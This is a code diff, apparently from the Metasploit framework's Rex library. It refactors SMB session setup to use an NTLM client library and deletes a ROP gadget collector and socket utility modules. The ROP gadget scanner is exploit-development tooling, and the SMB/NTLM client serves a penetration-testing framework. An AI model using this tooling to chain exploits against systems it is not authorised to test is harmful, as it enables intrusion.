require 'rex/proto/smb/constants'
@ -166,14 +168,14 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
# Scan the packet receive cache for a matching response
def smb_recv_cache_find_match(expected_type)
clean = []
found = nil
@smb_recv_cache.each do |cent|
pkt, data, tstamp = cent
# Return matching packets and mark for removal
# Return matching packets and mark for removal
if pkt['Payload']['SMB'].v['Command'] == expected_type
found = [pkt,data]
clean << cent
@ -623,16 +625,15 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
# Authenticate and establish a session
def session_setup(*args)
def session_setup(user='', pass='', domain='', do_recv=true)
if (self.dialect =~ /^(NT LANMAN 1.0|NT LM 0.12)$/)
if (self.challenge_key)
return self.session_setup_no_ntlmssp(*args)
return self.session_setup_no_ntlmssp(user, pass, domain, do_recv)
end
if ( self.extended_security )
return self.session_setup_with_ntlmssp(*args)
return self.session_setup_with_ntlmssp(user, pass, domain, nil, do_recv)
end
end
@ -831,7 +832,15 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
name = Rex::Text.rand_text_alphanumeric(16)
end
blob = NTLM_UTILS.make_ntlmssp_secblob_init(domain, name, ntlmssp_flags)
@ntlm_client = Net::NTLM::Client.new(
user,
pass,
workstation: name,
domain: domain,
flags: ntlmssp_flags
)
blob = @ntlm_client.init_context.serialize
native_data = ''
native_data << self.native_os + "\x00"
@ -865,7 +874,6 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
ack = self.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
# The server doesn't know about NTLM_NEGOTIATE
if (ack['Payload']['SMB'].v['ErrorClass'] == 0x00020002)
return session_setup_no_ntlmssp(user, pass, domain)
@ -892,37 +900,20 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
# Save the temporary UserID for use in the next request
temp_user_id = ack['Payload']['SMB'].v['UserID']
# Get default data
blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(blob)
self.challenge_key = blob_data[:challenge_key]
server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error
#netbios name
self.default_name = blob_data[:default_name] || ''
#netbios domain
self.default_domain = blob_data[:default_domain] || ''
#dns name
self.dns_host_name = blob_data[:dns_host_name] || ''
#dns domain
self.dns_domain_name = blob_data[:dns_domain_name] || ''
#Client time
chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || ''
type3 = @ntlm_client.init_context([blob].pack('m'))
type3_blob = type3.serialize
self.signing_key = @ntlm_client.session_key
resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(user, pass, self.challenge_key, domain,
default_name, default_domain, dns_host_name,
dns_domain_name, chall_MsvAvTimestamp ,
self.spnopt, ntlm_options)
enc_session_key = ''
self.sequence_counter = 0
if self.require_signing
self.signing_key, enc_session_key, ntlmssp_flags = NTLM_UTILS.create_session_key(ntlmssp_flags, server_ntlmssp_flags, user, pass, domain,
self.challenge_key, client_challenge, ntlm_cli_challenge,
ntlm_options)
end
# Create the security blob data
blob = NTLM_UTILS.make_ntlmssp_secblob_auth(domain, name, user, resp_lm, resp_ntlm, enc_session_key, ntlmssp_flags)
# Ugh, it's private
self.challenge_key = @ntlm_client.session.send(:server_challenge)
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
self.smb_defaults(pkt['Payload']['SMB'])
@ -944,8 +935,8 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
pkt['Payload'].v['VCNum'] = 1
pkt['Payload'].v['Capabilities'] = 0x8000d05c
pkt['Payload'].v['SessionKey'] = self.session_id
pkt['Payload'].v['SecurityBlobLen'] = blob.length
pkt['Payload'].v['Payload'] = blob + native_data
pkt['Payload'].v['SecurityBlobLen'] = type3_blob.length
pkt['Payload'].v['Payload'] = type3_blob + native_data
# NOTE: if do_recv is set to false, we cant reach here...
self.smb_send(pkt.to_s)
@ -1771,7 +1762,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
# Remove the NetBIOS header
resp_rpkt.slice!(0, 4)
resp_parm = resp_rpkt[poff, pcnt]
_resp_parm = resp_rpkt[poff, pcnt]
resp_data = resp_rpkt[doff, dcnt]
return resp_data
@ -1797,7 +1788,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
# Remove the NetBIOS header
resp_rpkt.slice!(0, 4)
resp_parm = resp_rpkt[poff, pcnt]
_resp_parm = resp_rpkt[poff, pcnt]
resp_data = resp_rpkt[doff, dcnt]
return resp_data
@ -1958,7 +1949,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
resp = find_next(last_search_id, last_offset, last_filename)
# Flip bit so response params will parse correctly
search_next = 1
search_next = 1
end
files
@ -1973,7 +1964,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
260, # Level of interest
resume_key, # Resume key from previous (Last name offset)
6, # Close search if end of search
].pack('vvvVv') +
].pack('vvvVv') +
last_filename.to_s + # Last filename returned from find_first or find_next
"\x00" # Terminate the file name
@ -2006,7 +1997,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
search_path = "#{current_path}#{fname}\\"
file_search(search_path, regex, depth).each {|fn| files << fn }
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
# Ignore common errors related to permissions and non-files
if %W{
STATUS_ACCESS_DENIED
@ -2030,9 +2021,9 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
# Creates a new directory on the mounted tree
def create_directory(name)
files = { }
parm = [0].pack('V') + name + "\x00"
resp = trans2(CONST::TRANS2_CREATE_DIRECTORY, parm, '')
resp
end
# public read/write methods

View File

@ -1,8 +0,0 @@
# -*- coding: binary -*-
module Rex
module RopBuilder
require 'rex/ropbuilder/rop'
require 'metasm'
end
end

View File

@ -1,271 +0,0 @@
# -*- coding: binary -*-
require 'metasm'
require 'rex/compat'
require 'rex/text/table'
require 'rex/ui/text/output/stdio'
require 'rex/text/color'
module Rex
module RopBuilder
class RopBase
def initialize()
@stdio = Rex::Ui::Text::Output::Stdio.new
@gadgets = []
end
def to_csv(gadgets = [])
if gadgets.empty? and @gadgets.nil? or @gadgets.empty?
@stdio.print_error("No gadgets collected to convert to CSV format.")
return
end
# allow the users to import gadget collections from multiple files
if @gadgets.empty? or @gadgets.nil?
@gadgets = gadgets
end
table = Rex::Text::Table.new(
'Header' => "#{@file} ROP Gadgets",
'Indent' => 1,
'Columns' =>
[
"Address",
"Raw",
"Disassembly",
])
@gadgets.each do |gadget|
table << [gadget[:address], gadget[:raw].unpack('H*')[0], gadget[:disasm].gsub(/\n/, ' | ')]
end
return table.to_csv
end
def import(file)
begin
data = File.new(file, 'r').read
rescue
@stdio.print_error("Error reading #{file}")
return []
end
if data.empty? or data.nil?
return []
end
data.gsub!(/\"/, '')
data.gsub!("Address,Raw,Disassembly\n", '')
@gadgets = []
data.each_line do |line|
addr, raw, disasm = line.split(',', 3)
if addr.nil? or raw.nil? or disasm.nil?
@stdio.print_error("Import file format corrupted")
return []
end
disasm.gsub!(/: /, ":\t")
disasm.gsub!(' | ', "\n")
raw = [raw].pack('H*')
@gadgets << {:file => file, :address => addr, :raw => raw, :disasm => disasm.chomp!}
end
@gadgets
end
def print_msg(msg, color=true)
if not @stdio
@stdio = Rex::Ui::Text::Output::Stdio.new
end
if color == true
@stdio.auto_color
else
@stdio.disable_color
end
@stdio.print_raw(@stdio.substitute_colors(msg))
end
end
class RopCollect < RopBase
def initialize(file="")
@stdio = Rex::Ui::Text::Output::Stdio.new
@file = file if not file.empty?
@bin = Metasm::AutoExe.decode_file(file) if not file.empty?
@disassembler = @bin.disassembler if not @bin.nil?
if @disassembler
@disassembler.cpu = Metasm::Ia32.new('386_common')
end
super()
end
def collect(depth, pattern)
matches = []
gadgets = []
# find matches by scanning for the pattern
matches = @disassembler.pattern_scan(pattern)
if @bin.kind_of?(Metasm::PE)
@bin.sections.each do |section|
next if section.characteristics.include? 'MEM_EXECUTE'
# delete matches if the address is outside the virtual address space
matches.delete_if do |ea|
va = section.virtaddr + @bin.optheader.image_base
ea >= va and ea < va + section.virtsize
end
end
elsif @bin.kind_of?(Metasm::ELF)
@bin.segments.each do |seg|
next if seg.flags.include? 'X'
matches.delete_if do |ea|
ea >= seg.vaddr and ea < seg.vaddr + seg.memsz
end
end
elsif @bin.kind_of?(Metasm::MachO)
@bin.segments.each do |seg|
next if seg.initprot.include? 'EXECUTE'
matches.delete_if do |ea|
ea >= seg.virtaddr and ea < seg.virtaddr + seg.filesize
end
end
end
gadgets = process_gadgets(matches, depth)
gadgets.each do |gadget|
@gadgets << gadget
end
gadgets
end
def pattern_search(pattern)
p = Regexp.new("(" + pattern + ")")
matches = []
@gadgets.each do |gadget|
disasm = ""
addrs = []
gadget[:disasm].each_line do |line|
addr, asm = line.split("\t", 2)
addrs << addr
disasm << asm
end
if gadget[:raw] =~ p or gadget[:disasm] =~ p or disasm =~ p
matches << {:gadget => gadget, :disasm => disasm, :addrs => addrs}
end
end
matches.each do |match|
@stdio.print_status("gadget with address: %bld%cya#{match[:gadget][:address]}%clr matched")
color_pattern(match[:gadget], match[:disasm], match[:addrs], p)
end
matches
end
def color_pattern(gadget, disasm, addrs, p)
idx = disasm.index(p)
if idx.nil?
print_msg(gadget[:disasm])
return
end
disasm = disasm.insert(idx, "%bld%grn")
asm = ""
cnt = 0
colors = false
disasm.each_line do |line|
# if we find this then we are in the matching area
if line.index(/\%bld\%grn/)
colors = true
end
asm << "%clr" + addrs[cnt] + "\t"
# color the remaining parts of the gadget
if colors and line.index("%bld%grn").nil?
asm << "%bld%grn" + line
else
asm << line
end
cnt += 1
end
asm << "%clr\n"
print_msg(asm)
end
def process_gadgets(rets, num)
ret = {}
gadgets = []
tmp = []
rets.each do |ea|
insn = @disassembler.disassemble_instruction(ea)
next if not insn
xtra = insn.bin_length
num.downto(0) do |x|
addr = ea - x
# get the disassembled instruction at this address
di = @disassembler.disassemble_instruction(addr)
# skip invalid instructions
next if not di
next if di.opcode.props[:setip]
next if di.opcode.props[:stopexec]
# get raw bytes
buf = @disassembler.read_raw_data(addr, x + xtra)
# make sure disassembling forward leads to our instruction
next if not ends_with_addr(buf, addr, ea)
dasm = ""
while addr <= ea
di = @disassembler.disassemble_instruction(addr)
dasm << ("0x%08x:\t" % addr) + di.instruction.to_s + "\n"
addr = addr + di.bin_length
end
if not tmp.include?(ea)
tmp << ea
else
next
end
# otherwise, we create a new tailchunk and add it to the list
ret = {:file => @file, :address => ("0x%08x" % (ea - x)), :raw => buf, :disasm => dasm}
gadgets << ret
end
end
gadgets
end
private
def ends_with_addr(raw, base, addr)
dasm2 = Metasm::Shellcode.decode(raw, @disassembler.cpu).disassembler
offset = 0
while ((di = dasm2.disassemble_instruction(offset)))
return true if (base + offset) == addr
return false if di.opcode.props[:setip]
return false if di.opcode.props[:stopexec]
offset = di.next_addr
end
false
end
def raw_instructions(raw)
insns = []
d2 = Metasm::Shellcode.decode(raw, @disassembler.cpu).disassembler
addr = 0
while ((di = d2.disassemble_instruction(addr)))
insns << di.instruction
addr = di.next_addr
end
insns
end
end
end
end

View File

@ -1,796 +0,0 @@
# -*- coding: binary -*-
require 'socket'
require 'thread'
require 'resolv'
require 'rex/exceptions'
module Rex
###
#
# Base class for all sockets.
#
###
module Socket
module Comm
end
require 'rex/socket/parameters'
require 'rex/socket/tcp'
require 'rex/socket/tcp_server'
require 'rex/socket/comm'
require 'rex/socket/comm/local'
require 'rex/socket/switch_board'
require 'rex/socket/subnet_walker'
require 'rex/socket/range_walker'
##
#
# Factory methods
#
##
#
# Create a socket instance using the supplied parameter hash.
#
def self.create(opts = {})
return create_param(Rex::Socket::Parameters.from_hash(opts))
end
#
# Create a socket using the supplied Rex::Socket::Parameter instance.
#
def self.create_param(param)
return param.comm.create(param)
end
#
# Create a TCP socket using the supplied parameter hash.
#
def self.create_tcp(opts = {})
return create_param(Rex::Socket::Parameters.from_hash(opts.merge('Proto' => 'tcp')))
end
#
# Create a TCP server socket using the supplied parameter hash.
#
def self.create_tcp_server(opts = {})
return create_tcp(opts.merge('Server' => true))
end
#
# Create a UDP socket using the supplied parameter hash.
#
def self.create_udp(opts = {})
return create_param(Rex::Socket::Parameters.from_hash(opts.merge('Proto' => 'udp')))
end
#
# Create a IP socket using the supplied parameter hash.
#
def self.create_ip(opts = {})
return create_param(Rex::Socket::Parameters.from_hash(opts.merge('Proto' => 'ip')))
end
#
# Common Regular Expressions
#
MATCH_IPV6 = /^\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\s*$/
MATCH_IPV4 = /^\s*(?:(?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2})[.](?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2})[.](?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2})[.](?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2}))\s*$/
MATCH_IPV4_PRIVATE = /^\s*(?:10\.|192\.168|172.(?:1[6-9]|2[0-9]|3[01])\.|169\.254)/
##
#
# Serialization
#
##
# Cache our IPv6 support flag
@@support_ipv6 = nil
#
# Determine whether we support IPv6
#
def self.support_ipv6?
return @@support_ipv6 if not @@support_ipv6.nil?
@@support_ipv6 = false
if (::Socket.const_defined?('AF_INET6'))
begin
s = ::Socket.new(::Socket::AF_INET6, ::Socket::SOCK_DGRAM, ::Socket::IPPROTO_UDP)
s.close
@@support_ipv6 = true
rescue
end
end
return @@support_ipv6
end
#
# Determine whether this is an IPv4 address
#
def self.is_ipv4?(addr)
( addr =~ MATCH_IPV4 ) ? true : false
end
#
# Determine whether this is an IPv6 address
#
def self.is_ipv6?(addr)
( addr =~ MATCH_IPV6 ) ? true : false
end
#
# Checks to see if the supplied address is in "dotted" form
#
def self.dotted_ip?(addr)
# Match IPv6
return true if (support_ipv6? and addr =~ MATCH_IPV6)
# Match IPv4
return true if (addr =~ MATCH_IPV4)
false
end
#
# Return true if +addr+ is within the ranges specified in RFC1918, or
# RFC5735/RFC3927
#
def self.is_internal?(addr)
if self.dotted_ip?(addr)
addr =~ MATCH_IPV4_PRIVATE
else
false
end
end
# Get the first address returned by a DNS lookup for +hostname+.
#
# @see .getaddresses
#
# @param (see .getaddresses)
# @return [String] ASCII IP address
def self.getaddress(hostname, accept_ipv6 = true)
getaddresses(hostname, accept_ipv6).first
end
#
# Wrapper for +::Socket.gethostbyname+ that takes special care to see if the
# supplied address is already an ASCII IP address. This is necessary to
# prevent blocking while waiting on a DNS reverse lookup when we already
# have what we need.
#
# @param hostname [String] A hostname or ASCII IP address
# @return [Array<String>]
def self.getaddresses(hostname, accept_ipv6 = true)
if hostname =~ MATCH_IPV4 or (accept_ipv6 and hostname =~ MATCH_IPV6)
return [hostname]
end
res = ::Socket.gethostbyname(hostname)
return [] if not res
# Shift the first three elements out, leaving just the list of
# addresses
res.shift # name
res.shift # alias hostnames
res.shift # address_family
# Rubinius has a bug where gethostbyname returns dotted quads instead of
# NBO, but that's what we want anyway, so just short-circuit here.
if res[0] =~ MATCH_IPV4 || res[0] =~ MATCH_IPV6
unless accept_ipv6
res.reject!{ |ascii| ascii =~ MATCH_IPV6 }
end
else
unless accept_ipv6
res.reject!{ |nbo| nbo.length != 4 }
end
res.map!{ |nbo| self.addr_ntoa(nbo) }
end
res
end
#
# Wrapper for Socket.gethostbyname which takes into account whether or not
# an IP address is supplied. If it is, then reverse DNS resolution does
# not occur. This is done in order to prevent delays, such as would occur
# on Windows.
#
def self.gethostbyname(host)
if (is_ipv4?(host))
return [ host, [], 2, host.split('.').map{ |c| c.to_i }.pack("C4") ]
end
if is_ipv6?(host)
# pop off the scopeid since gethostbyname isn't smart enough to
# deal with it.
host, _ = host.split('%', 2)
end
::Socket.gethostbyname(host)
end
#
# Create a sockaddr structure using the supplied IP address, port, and
# address family
#
def self.to_sockaddr(ip, port)
if (ip == '::ffff:0.0.0.0')
ip = support_ipv6?() ? '::' : '0.0.0.0'
end
return ::Socket.pack_sockaddr_in(port, ip)
end
#
# Returns the address family, host, and port of the supplied sockaddr as
# [ af, host, port ]
#
def self.from_sockaddr(saddr)
port, host = ::Socket::unpack_sockaddr_in(saddr)
af = ::Socket::AF_INET
if (support_ipv6?() and is_ipv6?(host))
af = ::Socket::AF_INET6
end
return [ af, host, port ]
end
#
# Resolves a host to raw network-byte order.
#
def self.resolv_nbo(host)
self.gethostbyname( Rex::Socket.getaddress(host, true) )[3]
end
#
# Resolves a host to raw network-byte order.
#
def self.resolv_nbo_list(host)
Rex::Socket.getaddresses(host).map{|addr| self.gethostbyname(addr)[3] }
end
#
# Resolves a host to a network-byte order ruby integer.
#
def self.resolv_nbo_i(host)
addr_ntoi(resolv_nbo(host))
end
#
# Resolves a host to a list of network-byte order ruby integers.
#
def self.resolv_nbo_i_list(host)
resolv_nbo_list(host).map{|addr| addr_ntoi(addr) }
end
#
# Converts an ASCII IP address to a CIDR mask. Returns
# nil if it's not convertable.
#
def self.addr_atoc(mask)
mask_i = resolv_nbo_i(mask)
cidr = nil
0.upto(32) do |i|
if ((1 << i)-1) << (32-i) == mask_i
cidr = i
break
end
end
return cidr
end
#
# Resolves a CIDR bitmask into a dotted-quad. Returns
# nil if it's not convertable.
#
def self.addr_ctoa(cidr)
return nil unless (0..32) === cidr.to_i
addr_itoa(((1 << cidr)-1) << 32-cidr)
end
#
# Resolves a host to a dotted address.
#
def self.resolv_to_dotted(host)
addr_ntoa(addr_aton(host))
end
#
# Converts a ascii address into an integer
#
def self.addr_atoi(addr)
resolv_nbo_i(addr)
end
#
# Converts a ascii address into a list of addresses
#
def self.addr_atoi_list(addr)
resolv_nbo_i_list(addr)
end
#
# Converts an integer address into ascii
#
# @param (see #addr_iton)
# @return (see #addr_ntoa)
def self.addr_itoa(addr, v6=false)
nboa = addr_iton(addr, v6)
addr_ntoa(nboa)
end
#
# Converts a ascii address to network byte order
#
def self.addr_aton(addr)
resolv_nbo(addr)
end
#
# Converts a network byte order address to ascii
#
# @param addr [String] Packed network-byte-order address
# @return [String] Human readable IP address.
def self.addr_ntoa(addr)
# IPv4
if (addr.length == 4)
return addr.unpack('C4').join('.')
end
# IPv6
if (addr.length == 16)
return compress_address(addr.unpack('n8').map{ |c| "%x" % c }.join(":"))
end
raise RuntimeError, "Invalid address format"
end
#
# Implement zero compression for IPv6 addresses.
# Uses the compression method from Marco Ceresa's IPAddress GEM
#
# @see https://github.com/bluemonk/ipaddress/blob/master/lib/ipaddress/ipv6.rb
#
# @param addr [String] Human readable IPv6 address
# @return [String] Human readable IPv6 address with runs of 0s removed
def self.compress_address(addr)
return addr unless is_ipv6?(addr)
addr = addr.dup
while true
break if addr.sub!(/\A0:0:0:0:0:0:0:0\Z/, '::')
break if addr.sub!(/\b0:0:0:0:0:0:0\b/, ':')
break if addr.sub!(/\b0:0:0:0:0:0\b/, ':')
break if addr.sub!(/\b0:0:0:0:0\b/, ':')
break if addr.sub!(/\b0:0:0:0\b/, ':')
break if addr.sub!(/\b0:0:0\b/, ':')
break if addr.sub!(/\b0:0\b/, ':')
break
end
addr.sub(/:{3,}/, '::')
end
#
# Converts a network byte order address to an integer
#
def self.addr_ntoi(addr)
bits = addr.unpack("N*")
if (bits.length == 1)
return bits[0]
end
if (bits.length == 4)
val = 0
bits.each_index { |i| val += ( bits[i] << (96 - (i * 32)) ) }
return val
end
raise RuntimeError, "Invalid address format"
end
#
# Converts an integer into a network byte order address
#
# @param addr [Numeric] The address as a number
# @param v6 [Boolean] Whether +addr+ is IPv6
def self.addr_iton(addr, v6=false)
if(addr < 0x100000000 && !v6)
return [addr].pack('N')
else
w = []
w[0] = (addr >> 96) & 0xffffffff
w[1] = (addr >> 64) & 0xffffffff
w[2] = (addr >> 32) & 0xffffffff
w[3] = addr & 0xffffffff
return w.pack('N4')
end
end
#
# Converts a colon-delimited MAC address into a 6-byte binary string
#
def self.eth_aton(mac)
mac.split(":").map{|c| c.to_i(16) }.pack("C*")
end
#
# Converts a 6-byte binary string into a colon-delimited MAC address
#
def self.eth_ntoa(bin)
bin.unpack("C6").map{|x| "%.2x" % x }.join(":").upcase
end
#
# Converts a CIDR subnet into an array (base, bcast)
#
def self.cidr_crack(cidr, v6=false)
tmp = cidr.split('/')
tst,scope = tmp[0].split("%",2)
scope = "%" + scope if scope
scope ||= ""
addr = addr_atoi(tst)
bits = 32
mask = 0
use6 = false
if (addr > 0xffffffff or v6 or cidr =~ /:/)
use6 = true
bits = 128
end
mask = (2 ** bits) - (2 ** (bits - tmp[1].to_i))
base = addr & mask
stop = base + (2 ** (bits - tmp[1].to_i)) - 1
return [self.addr_itoa(base, use6) + scope, self.addr_itoa(stop, use6) + scope]
end
#
# Converts a netmask (255.255.255.240) into a bitmask (28). This is the
# lame kid way of doing it.
#
def self.net2bitmask(netmask)
nmask = resolv_nbo(netmask)
imask = addr_ntoi(nmask)
bits = 32
if (imask > 0xffffffff)
bits = 128
end
0.upto(bits-1) do |bit|
p = 2 ** bit
return (bits - bit) if ((imask & p) == p)
end
0
end
#
# Converts a bitmask (28) into a netmask (255.255.255.240)
#
def self.bit2netmask(bitmask, ipv6=false)
if bitmask > 32 or ipv6
i = ((~((2 ** (128 - bitmask)) - 1)) & (2**128-1))
n = Rex::Socket.addr_iton(i, true)
return Rex::Socket.addr_ntoa(n)
else
[ (~((2 ** (32 - bitmask)) - 1)) & 0xffffffff ].pack('N').unpack('CCCC').join('.')
end
end
def self.portspec_crack(pspec)
portspec_to_portlist(pspec)
end
#
# Converts a port specification like "80,21-25,!24,443" into a sorted,
# unique array of valid port numbers like [21,22,23,25,80,443]
#
def self.portspec_to_portlist(pspec)
ports = []
remove = []
# Build ports array from port specification
pspec.split(/,/).each do |item|
target = ports
item.strip!
if item.start_with? '!'
item.delete! '!'
target = remove
end
start, stop = item.split(/-/).map { |p| p.to_i }
start ||= 0
stop ||= item.match(/-/) ? 65535 : start
start, stop = stop, start if stop < start
start.upto(stop) { |p| target << p }
end
if ports.empty? and not remove.empty? then
ports = 1.upto 65535
end
# Sort, and remove dups and invalid ports
ports.sort.uniq.delete_if { |p| p < 1 or p > 65535 or remove.include? p }
end
#
# Converts a port list like [1,2,3,4,5,100] into a
# range specification like "1-5,100"
#
def self.portlist_to_portspec(parr)
ranges = []
range = []
lastp = nil
parr.uniq.sort{|a,b| a<=>b}.map{|a| a.to_i}.each do |n|
next if (n < 1 or n > 65535)
if not lastp
range = [n]
lastp = n
next
end
if lastp == n - 1
range << n
else
ranges << range
range = [n]
end
lastp = n
end
ranges << range
ranges.delete(nil)
ranges.uniq.map{|x| x.length == 1 ? "#{x[0]}" : "#{x[0]}-#{x[-1]}"}.join(",")
end
##
#
# Utility class methods
#
##
#
# This method does NOT send any traffic to the destination, instead, it uses a
# "bound" UDP socket to determine what source address we would use to
# communicate with the specified destination. The destination defaults to
# Google's DNS server to make the standard behavior determine which IP
# we would use to communicate with the internet.
#
def self.source_address(dest='8.8.8.8', comm = ::Rex::Socket::Comm::Local)
begin
s = self.create_udp(
'PeerHost' => dest,
'PeerPort' => 31337,
'Comm' => comm
)
r = s.getsockname[1]
s.close
# Trim off the trailing interface ID for link-local IPv6
return r.split('%').first
rescue ::Exception
return '127.0.0.1'
end
end
#
# Identifies the link-local address of a given interface (if IPv6 is enabled)
#
def self.ipv6_link_address(intf)
r = source_address("FF02::1%#{intf}")
return nil if r.nil? || r !~ /^fe80/i
r
end
#
# Identifies the mac address of a given interface (if IPv6 is enabled)
#
def self.ipv6_mac(intf)
r = ipv6_link_address(intf)
return if not r
raw = addr_aton(r)[-8, 8]
(raw[0,3] + raw[5,3]).unpack("C*").map{|c| "%.2x" % c}.join(":")
end
#
# Create a TCP socket pair.
#
# sf: This create a socket pair using native ruby sockets and will work
# on Windows where ::Socket.pair is not implemented.
# Note: OpenSSL requires native ruby sockets for its io.
#
# Note: Even though sub-threads are smashing the parent threads local, there
# is no concurrent use of the same locals and this is safe.
def self.tcp_socket_pair
lsock = nil
rsock = nil
laddr = '127.0.0.1'
lport = 0
threads = []
mutex = ::Mutex.new
threads << Rex::ThreadFactory.spawn('TcpSocketPair', false) {
server = nil
mutex.synchronize {
threads << Rex::ThreadFactory.spawn('TcpSocketPairClient', false) {
mutex.synchronize {
rsock = ::TCPSocket.new( laddr, lport )
}
}
server = ::TCPServer.new(laddr, 0)
if (server.getsockname =~ /127\.0\.0\.1:/)
# JRuby ridiculousness
caddr, lport = server.getsockname.split(":")
caddr = caddr[1,caddr.length]
lport = lport.to_i
else
# Sane implementations where Socket#getsockname returns a
# sockaddr
lport, caddr = ::Socket.unpack_sockaddr_in( server.getsockname )
end
}
lsock, _ = server.accept
server.close
}
threads.each { |t| t.join }
return [lsock, rsock]
end
#
# Create a UDP socket pair using native ruby UDP sockets.
#
def self.udp_socket_pair
laddr = '127.0.0.1'
lsock = ::UDPSocket.new
lsock.bind( laddr, 0 )
rsock = ::UDPSocket.new
rsock.bind( laddr, 0 )
rsock.connect( *lsock.addr.values_at(3,1) )
lsock.connect( *rsock.addr.values_at(3,1) )
return [lsock, rsock]
end
##
#
# Class initialization
#
##
#
# Initialize general socket parameters.
#
def initsock(params = nil)
if (params)
self.peerhost = params.peerhost
self.peerport = params.peerport
self.localhost = params.localhost
self.localport = params.localport
self.context = params.context || {}
self.ipv = params.v6 ? 6 : 4
end
end
#
# By default, all sockets are themselves selectable file descriptors.
#
def fd
self
end
#
# Returns local connection information.
#
def getsockname
Socket.from_sockaddr(super)
end
#
# Wrapper around getsockname
#
def getlocalname
getsockname
end
#
# Return peer connection information.
#
def getpeername_as_array
peer_name = nil
begin
peer_name = Socket.from_sockaddr(self.getpeername)
rescue ::Errno::EINVAL => e
# Ruby's getpeername method may call rb_sys_fail("getpeername(2)")
elog("#{e.message} (#{e.class})#{e.backtrace * "\n"}\n", 'core', LEV_3)
end
return peer_name
end
#
# Returns a string that indicates the type of the socket, such as 'tcp'.
#
def type?
raise NotImplementedError, "Socket type is not supported."
end
#
# The peer host of the connected socket.
#
attr_reader :peerhost
#
# The peer port of the connected socket.
#
attr_reader :peerport
#
# The local host of the connected socket.
#
attr_reader :localhost
#
# The local port of the connected socket.
#
attr_reader :localport
#
# The IP version of the socket
#
attr_reader :ipv
#
# Contextual information that describes the source and other
# instance-specific attributes. This comes from the param.context
# attribute.
#
attr_reader :context
protected
attr_writer :peerhost, :peerport, :localhost, :localport # :nodoc:
attr_writer :context # :nodoc:
attr_writer :ipv # :nodoc:
end
end
#
# Globalized socket constants
#
SHUT_RDWR = ::Socket::SHUT_RDWR
SHUT_RD = ::Socket::SHUT_RD
SHUT_WR = ::Socket::SHUT_WR

View File

@ -1,120 +0,0 @@
# -*- coding: binary -*-
require 'rex/socket'
module Rex
module Socket
###
#
# This mixin provides the basic interface that a derived class must implement
# in order to be a compatible comm class. The base comm class also supports
# registering event handlers that can be notified when sockets are being
# created and have been created. This allows code to extend sockets on
# creation from the single point that they are created.
#
###
module Comm
###
#
# This mixin provides stubs for event notification handlers that can be
# registered with a Comm factory to be called when various events occur,
# such as socket instantiation.
#
###
module Events
#
# This callback is notified when a socket is being created and is passed
# the parameters that will be used to create it.
#
def on_before_socket_create(comm, param)
end
#
# This callback is notified when a new socket is created and the
# parameters that were used to create it. This provides the callback
# with a chance to extend or otherwise modify the socket before it's
# passed on to the actual requestor.
#
def on_socket_created(comm, sock, param)
end
end
#
# Creates a compatible socket based on the supplied uniform parameters.
#
def self.create(param)
raise NotImplementedError
end
#
# Indicates whether or not this comm can be chained with other chainable
# comms. This is particularly important for things like Proxy Comms that
# can be proxied through one another. The semantics of this are currently
# undefined and will probably need some more thought.
#
def chainable?
false
end
#
# Registers an event handler that implements the Rex::Socket::Comm::Event
# interface in at least some fashion. Event handlers are notified when
# sockets are created through the Comm instance that they register against.
#
def register_event_handler(handler)
